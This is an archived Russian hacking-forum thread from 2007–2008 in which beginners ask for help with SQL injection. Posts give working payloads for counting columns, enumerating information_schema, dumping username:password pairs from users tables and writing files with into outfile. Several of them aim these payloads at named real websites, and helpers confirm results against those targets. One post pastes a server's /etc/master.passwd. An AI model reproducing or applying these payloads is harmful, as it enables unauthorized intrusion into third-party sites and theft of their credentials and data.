Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 00:19:14.420000   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07

quote:

ORIGINAL: ZloiJoker

Может всетаки имеет смысл создать по моей теме отдельный топик ? (а то бардак какой то)
Вообще как то можно через SQL injecting mysql узнать какие там db т.е show databases;

Речь идет про 4 ку и Table 'information_schema.TABLES' doesn't exist

ну одну БД ты точно можешь узнать, запросом database(). а остальные только тупым перебором. Причем тебе еще нужно подобрать какую-нибудь таблицу из этой БД. например тебе приснилось, что там должна быть БД с именем DBNAME, и ты хочешь это проверить. Тогда тебе еще должна присниться какая-нибудь таблица из этой БД, и тогда смело пиши select … from DBNAME.TABLENAME;
Иначе, кроме как тупым перебором, никак, если нет information_schema.
Post #: 81
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 00:22:39.410000   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07

quote:

ORIGINAL: founder

Eсть урл вида ?id=1
Такая вещь на него не действует ?id=1', но действуте такая ?id=2-1, отображается то же что и при ?id=1. Все попытки узнать количество полей таким образом ?id=1+union+select+1,2,3,4,5,6… ?id=-1+union+select+1,2,3,4,5,6, увенчались тем, что отображается пустая страница. Это говорит о том, что хоть ?id=2-1 не проверяется, но применить иньекцию нельзя?
Пробывал и через ?id=1+order+by+50, то же пустая страница и никаких ошибок…, я понимаю, что если ошибка не отоборажается это ещё не значит, что её нет, но что можно ещё попробывать не знаю.
Может есть какие-нибудь соображения?

?id=1' - показывает то же, что и при ?id=1? или ничего не показывает? странные у тебя понятия, что считать "действует", а что нет.
попробуй эти 2 запроса:
?id=1+order+by+1/*
?id=1+order+by+100/*
и посмотри, что вывел каждый из них. Если при order+by+1 все как и при ?id=1, а при order+by+100 ошибка или просто никакого контента, то дальше подбирай.
Post #: 82
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 00:47:24.650000   
joker$

Сообщений: 102
Оценки: 0
Присоединился: 2007-03-09 17:07:42.703333
А может быть, что на самом сайте нет админки? Никак не могу найти!
Post #: 83
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 10:07:30.216666   
founder

Сообщений: 4
Оценки: 0
Присоединился: 2007-12-05 18:10:47.093333
quote:

ORIGINAL: Dimonelite

quote:

ORIGINAL: founder

Eсть урл вида ?id=1
Такая вещь на него не действует ?id=1', но действуте такая ?id=2-1, отображается то же что и при ?id=1. Все попытки узнать количество полей таким образом ?id=1+union+select+1,2,3,4,5,6… ?id=-1+union+select+1,2,3,4,5,6, увенчались тем, что отображается пустая страница. Это говорит о том, что хоть ?id=2-1 не проверяется, но применить иньекцию нельзя?
Пробывал и через ?id=1+order+by+50, то же пустая страница и никаких ошибок…, я понимаю, что если ошибка не отоборажается это ещё не значит, что её нет, но что можно ещё попробывать не знаю.
Может есть какие-нибудь соображения?

?id=1' - показывает то же, что и при ?id=1? или ничего не показывает? странные у тебя понятия, что считать "действует", а что нет.
попробуй эти 2 запроса:
?id=1+order+by+1/*
?id=1+order+by+100/*
и посмотри, что вывел каждый из них. Если при order+by+1 все как и при ?id=1, а при order+by+100 ошибка или просто никакого контента, то дальше подбирай.


Я видемо не совсем правельно выразился.
1. ?id=1' - выводит то же, что и при ?id=1
2. ?id=2-1 - выводит то же, что и при ?id=1
3. ?id=1+order+by+1/* … ?id=1+order+by+1000/* нет ни какого контента и ошибок то же нет.
Как я понимаю 2-ой пункт говорит о том, что id не фильтруется или фильтруется частично, но как это в этоге применить пока не доходит, т.к. из  пункта 3-го видно, что подобрать колличество полей не выходит.
Post #: 84
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 14:15:20.533333   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
quote:

ORIGINAL: founder

Я видемо не совсем правельно выразился.
1. ?id=1' - выводит то же, что и при ?id=1
2. ?id=2-1 - выводит то же, что и при ?id=1
3. ?id=1+order+by+1/* … ?id=1+order+by+1000/* нет ни какого контента и ошибок то же нет.
Как я понимаю 2-ой пункт говорит о том, что id не фильтруется или фильтруется частично, но как это в этоге применить пока не доходит, т.к. из  пункта 3-го видно, что подобрать колличество полей не выходит.


Уже из первого пункта следует, что id просто приводится к числовому значению (например функция intval в php), что и есть достаточная фильтрация в данном случае. Это НЕ уязвимость.
Post #: 85
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 14:53:57.280000   
founder

Сообщений: 4
Оценки: 0
Присоединился: 2007-12-05 18:10:47.093333
quote:

ORIGINAL: Dimonelite

quote:

ORIGINAL: founder

Я видемо не совсем правельно выразился.
1. ?id=1' - выводит то же, что и при ?id=1
2. ?id=2-1 - выводит то же, что и при ?id=1
3. ?id=1+order+by+1/* … ?id=1+order+by+1000/* нет ни какого контента и ошибок то же нет.
Как я понимаю 2-ой пункт говорит о том, что id не фильтруется или фильтруется частично, но как это в этоге применить пока не доходит, т.к. из&nbsp; пункта 3-го видно, что подобрать колличество полей не выходит.


Уже из первого пункта следует, что id просто приводится к числовому значению (например функция intval в php), что и есть достаточная фильтрация в данном случае. Это НЕ уязвимость.


Да может в хаке я не селён, но как приводятся строки к числовому значению вроде знаю. И если я приведу строку "5-1" к числовому значению, то получу 5, но ни как не 4. Если я в чём-то ошибаюсь, поправьте, плиз.
Post #: 86
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 19:38:02.713333   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
Логично. Надо подумать. Может быть просто при ?id=1 и ?id=2 выводится одинаковый контент?
Еще попробуй ?id=1qwe, если ничего не изменится, то точно туши косяк.
Post #: 87
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 19:53:07.816666   
founder

Сообщений: 4
Оценки: 0
Присоединился: 2007-12-05 18:10:47.093333
quote:

ORIGINAL: Dimonelite

Логично. Надо подумать. Может быть просто при ?id=1 и ?id=2 выводится одинаковый контент?
Еще попробуй ?id=1qwe, если ничего не изменится, то точно туши косяк.


1. Контент разный.
2. ?id=1qwe - ни какого контента не выводит.
х.з. чё они там понамутили)))
Post #: 88
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-06 22:54:50.796666   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07

quote:

ORIGINAL: founder

quote:

ORIGINAL: Dimonelite

Логично. Надо подумать. Может быть просто при ?id=1 и ?id=2 выводится одинаковый контент?
Еще попробуй ?id=1qwe, если ничего не изменится, то точно туши косяк.


1. Контент разный.
2. ?id=1qwe - ни какого контента не выводит.
х.з. чё они там понамутили)))

ну теперь попробуй
1. ?id=1+and+1=1
2. ?id=1+and+1=0
Post #: 89
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-13 17:57:13.566666   
arp123

Сообщений: 10
Оценки: 0
Присоединился: 2007-12-13 17:49:15.820000
нашел сайт, на котором используется MySQL 5.0.45-log. есть возможность узнавать имена таблиц и столбцов (information_schema), чтобы узнать имена столбцов в конкретной таблице её имя для условия where приходится переводить в HEX вид. как можно получить содержимое таблиц? запрос типа -1/**/union/**/select/**/1,2,3,4,имя_столбца/**/from/**/имя_таблицы/* не выдает результатов… ЧАРить пробовал, ХЕКСировать пробовал, не помогает.
Post #: 90
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-13 19:35:30.576666   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
Limit попробуй в конце дописывать.
Limit 0,1
Limit 1,1
и т.д.
Post #: 91
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-13 20:02:21.443333   
arp123

Сообщений: 10
Оценки: 0
Присоединился: 2007-12-13 17:49:15.820000
quote:

ORIGINAL: Dimonelite

Limit попробуй в конце дописывать.
Limit 0,1
Limit 1,1
и т.д.


я наверное не полностью вопрос описал. у меня нет проблем с получением названия столбцов для конкретных таблиц, там разом выдаются названия всех столбцов для конкретной таблицы. проблема в том, что когда пишу что-то вроде -1/**/union/**/select/**/1,2,3,4,concat(username,char(58),password)/**/from/**/users/* сайт ничего ен выдает. и ещё, когда вывожу информацию из information_schema, то над названием столбца/таблицы видна цифра 4 (выборка так происходит) и уже под ней текст ошибки, а вот когда пытаюсь вывести информацию (логин:пароль) то появляется только текст ошибки, может это свидетельствует о том, что запрос неправильно составлен? или может в этой версии MySQL решили бороться с SQL инъектами "на корню"?

к слову, я думал использовать into outfile, но права на запись судя по всему есть только для зарегистрированных пользователей в папке с аватарами, но вот проблема, форум находится в другой директории (в другой chmod среде судя по всему) но ан этом же сервере. есть ли какой-нибудь способ найти директорию в которой были бы права на чтение и на запись наверняка?
Post #: 92
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-15 14:12:47.160000   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
Есть несколько вариантов, почему не хочет выбираться username,password из users
1)такой таблицы нет :)
2)есть такая таблица, но не в текущей БД. Для этого когда выбираешь table_name,column_name from information_schema.columns, еще выбирай и table_schema (т.е. название БД, в которой находится эта таблица, например superdbname) тогда потом пиши select … from superdbname.users
3)В этой таблице нет записей вообще. т.е. пустая таблица
4)Кодировка
вот этот пункт особенно важен.
возможно кодировка данных в таблице users отличается от кодировки данных в запросе, в который ты внедряешься. Попробуй
функции aes_encrypt и aes_decrypt соответственно. Про них уже давно писалось в журнале
Post #: 93
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-16 00:43:03.170000   
arp123

Сообщений: 10
Оценки: 0
Присоединился: 2007-12-13 17:49:15.820000
Dimonelite, спасибо большое!
Post #: 94
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-16 18:01:16.650000   
arp123

Сообщений: 10
Оценки: 0
Присоединился: 2007-12-13 17:49:15.820000
кстати, если используется aes_decrypt()/aes_encrypt(), то как будет выглядеть синтаксис команды UPDATE? например, если запрос имеет вид: -1/**/union/**/select/**/1,2,3,4,aes_decrypt(aes_encrypt(concat(head,char(58),text),0x71),0x71)/**/from/**/news/**/where/**/id=0x31/*. подскажите пожалуйста.
Post #: 95
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-16 22:52:23.276666   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
UPDATE и UNION не совместимы. И в подзапрос UPDATE тоже не засунешь. Так что ответ: никак не будет выглядеть :)
Post #: 96
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-18 01:54:30.596666   
joker$

Сообщений: 102
Оценки: 0
Присоединился: 2007-03-09 17:07:42.703333
А если скрипт дырявый полностью, то есть заходишь а там уже во всю скули по всему экрану…что с этим можно сдеать?
Post #: 97
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-18 10:45:44.403333   
dos 999

Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
Смотри какой запрос, сравнивай с текущес строкой адреса, анализируй вобщем.
И думай куда тебе воткнуть свою часть запроса. Но сначало тебе нужно вылезти на страницу которая хоть что то отоьражала иначе как ты увидишь данные.
Post #: 98
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-24 01:08:52.580000   
t3rmin41

Сообщений: 245
Оценки: 0
Присоединился: 2007-11-12 14:06:01.393333
Посылая серверу через браузер "левое" значение переменной sess=` получил вот это:

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/maksimx/domains/himland.ru/public_html/chat/include/chat.inc:19) in /usr/home/maksimx/domains/domain.name/public_html/chat/index.php on line 136

document.write ('')
<frame src=/index.php?sess=`>

Warning: Unknown(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in Unknown on line 0

Просканив XSpiderom, я нашёл что на порт 3306
"подключение к MySQL серверу с неавторизованного адреса запрещено"






Можно ли посмотреть какие таблицы и(или) поля там есть или нет? Что для этого нужно сделать?





Буду рад любой помощи =)


Update: да, забыл ОС - FreeBSD-20040419 (это выдал тот же XSpider) версия Apache - Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7e PHP/4.4.4 FrontPage/5.0.2.2510


Если нужна какая-нибудь дополнительная информация, предоставлю что смогу.
Post #: 99
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-24 22:49:41.653333   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
Если это и можно считать ошибкой, и даже если это и можно как-то использовать, то к sql-инъекциям это точно никакого отношения не имеет.
Post #: 100
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-25 00:19:04.603333   
t3rmin41

Сообщений: 245
Оценки: 0
Присоединился: 2007-11-12 14:06:01.393333
Да? Ну что ж, может это можно использовать как XSS… Спасибо, что хоть сказали, в каком направлении не надо плыть =)
Post #: 101
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-25 14:14:15.056666   
лЕха

Сообщений: 4
Оценки: 0
Присоединился: 2004-10-01 17:21:03
Где можно потренироваться в sql-inj? на многих сайтах кавычки фильтруются и прочие приемы, новичку сложно разобраться. Подскажите скрипты: чатов, cms и т.п. где есть примитивные sql-inj. Я хочу на локалхосте сначала потренироваться.
Post #: 102
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-25 14:20:32.370000   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333

quote:

ORIGINAL: лЕха

Где можно потренироваться в sql-inj? на многих сайтах кавычки фильтруются и прочие приемы, новичку сложно разобраться. Подскажите скрипты: чатов, cms и т.п. где есть примитивные sql-inj. Я хочу на локалхосте сначала потренироваться.

http://milw0rm.com/search.php
Пишеш SQL inj выбираешь че понравится ..
Post #: 103
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-27 09:47:33.690000   
usr.leon

Сообщений: 2
Оценки: 0
Присоединился: 2007-12-26 17:44:27.793333
имеется инжект
запрос:
http://www.host.ru/gallery/?show=gal&id=2+union+select+1,2/*
без ошибок, но id там используется 2 раза поэтому вторая ошибка возникает
http://www.host.ru/gallery/?show=gal&id=2+union+select+1,2,3,4,5,6/*
тут наоборот первая ошибка появляется вторая пропадает.
Собственно проблема в том что по всей видимости из результата поля берутся по именам и в странице ничего интересного нет (заюзать user() version() database() не получается)
Теоретически надо бы скинуть into outfile, но кавычка в запрос попадает экранированной.
Можно всетаки тут чемто поживиться или бросить и искать другой инжект?

Post #: 104
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-27 17:21:17.466666   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
Попробуй
id=-2+union+select+1,2,3,4,5,6/*
а то похоже ты забываешь свести на нет результат первого запроса(а именно в этом случае будет выводиться результат union'a)
Post #: 105
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-28 18:04:53.263333   
Oz_55

Сообщений: 2
Оценки: 0
Присоединился: 2007-12-28 17:59:57.340000
народ подскажите пожалуйста что с этим можно сделать?
 
 
 
# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin adm:*:1000:0::/usr/local/www:/bin/sh


www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin



nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin



adm:*:1000:0::/usr/local/www:/bin/sh
Post #: 106
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-28 20:12:58.376666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Это в раздачу слонов запихать можно
Post #: 107
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-28 20:15:32.266666   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
quote:

ORIGINAL: Pashkela

Это в раздачу слонов запихать можно

А какого фига его туда пихать?Там всёравно нефига интересного[&:]
Post #: 108
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-28 20:30:06.506666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
А что, в слонах когда-то было что-то интересное?
Post #: 109
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-28 20:32:40.650000   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
quote:

ORIGINAL: Pashkela

А что, в слонах когда-то было что-то интересное?

Были наполовину проведённые sql-inj! Это более интересно чем пустой /etc/master.passwd
Post #: 110
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-30 14:27:21.186666   
usr.leon

Сообщений: 2
Оценки: 0
Присоединился: 2007-12-26 17:44:27.793333
2 Dimonelite
О! Спасибо, я чувствовал что истина гдето рядом :)
Post #: 111
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2007-12-31 00:54:59.560000   
Oz_55

Сообщений: 2
Оценки: 0
Присоединился: 2007-12-28 17:59:57.340000
 
 а почему на половину и как их закончить до конца?
Post #: 112
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-01 20:32:04.640000   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07

quote:

ORIGINAL: Oz_55

 
а почему на половину и как их закончить до конца?

Посмотрите на название темы, которую вы засираете, и прекращайте оффтопить!
Post #: 113
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-03 15:00:36.730000   
ReJiSeR

Сообщений: 36
Оценки: 0
Присоединился: 2007-03-25 12:15:42.456666
запёрся тут йа есть сайт, там есть уязвимостьhttp://www.pocomaxa-extreme.ru/content/project.php?id=4+union+select+1,2,3,4,/*кол-во полей не находит о_О чо делать? памагите люди знающие!!!!!!!!!
Post #: 114
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-04 02:02:37.940000   
NoNameON

Сообщений: 1
Оценки: 0
Присоединился: 2008-01-04 01:56:58.470000
Помогите разобраться с http://www.lolbot.ru/content.php?z=-1
Post #: 115
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-04 11:38:46.230000   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07

quote:

ORIGINAL: ReJiSeR

запёрся тут йа есть сайт, там есть уязвимостьhttp://www.pocomaxa-extreme.ru/content/project.php?id=4+union+select+1,2,3,4,/*кол-во полей не находит о_О чо делать? памагите люди знающие!!!!!!!!!

перебрал до 4 и все? дальше типа не можешь? там 8 полей, прикинь? Хотя ничего интересного я там не увидел. Инъекция провальная, если ты конечно заранее не знаешь имена интересных и заведомо присутствующих там таблиц
Post #: 116
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-04 14:55:40.120000   
dos 999

Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
quote:

перебрал до 4 и все? дальше типа не можешь? там 8 полей, прикинь? Хотя ничего интересного я там не увидел. Инъекция провальная, если ты конечно заранее не знаешь имена интересных и заведомо присутствующих там таблиц

Агам… прав типо нет[>:]
Error 1044: Access denied for user 'pocomaxa'@'localhost' to database 'INFORMATION_SCHEMA'

ReJiSeR на будущее количество полей проверяй сортровкой, а не тупым перебором… ибо, намного эфективнее и быстрее. Н-р вот!
http://www.pocomaxa-extreme.ru/content/project.php?id=4+order+by+8–
Post #: 117
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-04 17:31:02.883333   
LeXeR_SS

Сообщений: 4
Оценки: 0
Присоединился: 2008-01-04 17:24:25.740000
Я новенький и хочу научить скул инжекту но чето пока не могу сайт найти нормальный где это можно осуществить =)

посмотрите можно ли здесь что-то сделать? у меня ничего не выходит… может я неправильно ищу сайты…

http://www.mercuries.ru/c_index.php?no=13'
http://www.happyland-drink.ru/brands.php?id=-1+order+by+29/*

и есть ли какая-то раздница между тем что ставить в конце… /* или –
Post #: 118
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-05 20:03:30.660000   
Drunk

Сообщений: 8
Оценки: 0
Присоединился: 2007-02-01 19:14:15.990000
а у меня вопрос: как можно узнать названия полей и таблиц с помощью information schema вы чтото подобное писали но я никак разобраться не могу.

+: Леха учже спрашивал типа как можно потрениться в скл инжектах - есть ли специальные сайты для этого. ктото дал адрес милворма - там експлоиты - собственно нафиг они нам ? нам нужен типа сайт с уже заложенной уязвимостью и где расписано как можно ее реальзовать.

С извинениями, я
Post #: 119
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-01-05 23:17:05.390000   
EXIBIT

Сообщений: 89
Оценки: 0
Присоединился: 2007-05-21 21:04:39.376666
ребята интерсно решение такой проблемы/
есть сайт ,по запросу

http://www.сайт.com.ua/continents/continent_m.php?ID=1'&CID=1

выводит

064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND TYPE.TYPEID=BLOCK.TYPEID AND LANGUAGE_ID=448' at line 1
strSQL= SELECT BLOCK.*,TYPE.NAME AS TYPENAME FROM TYPE,BLOCK WHERE CATEGORYID=1 AND PARENTID=1\' AND TYPE.TYPEID=BLOCK.TYPEID AND LANGUAGE_ID=448

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/algol/www/dbclass.php on line 84
1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
strSQL= SELECT NAME FROM IBCOUNTRIES WHERE COUNTRYID=1\'

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/algol/www/dbclass.php on line 77


подскажите как дальше дейстовать, и второй вопрос и что можно сделать дальше исходя из этой уязвимости? только начинаю осваивать искусство sql)—[&:]
Post #: 120
Страниц:  1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
Все форумы >> [Для начинающих] >> RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.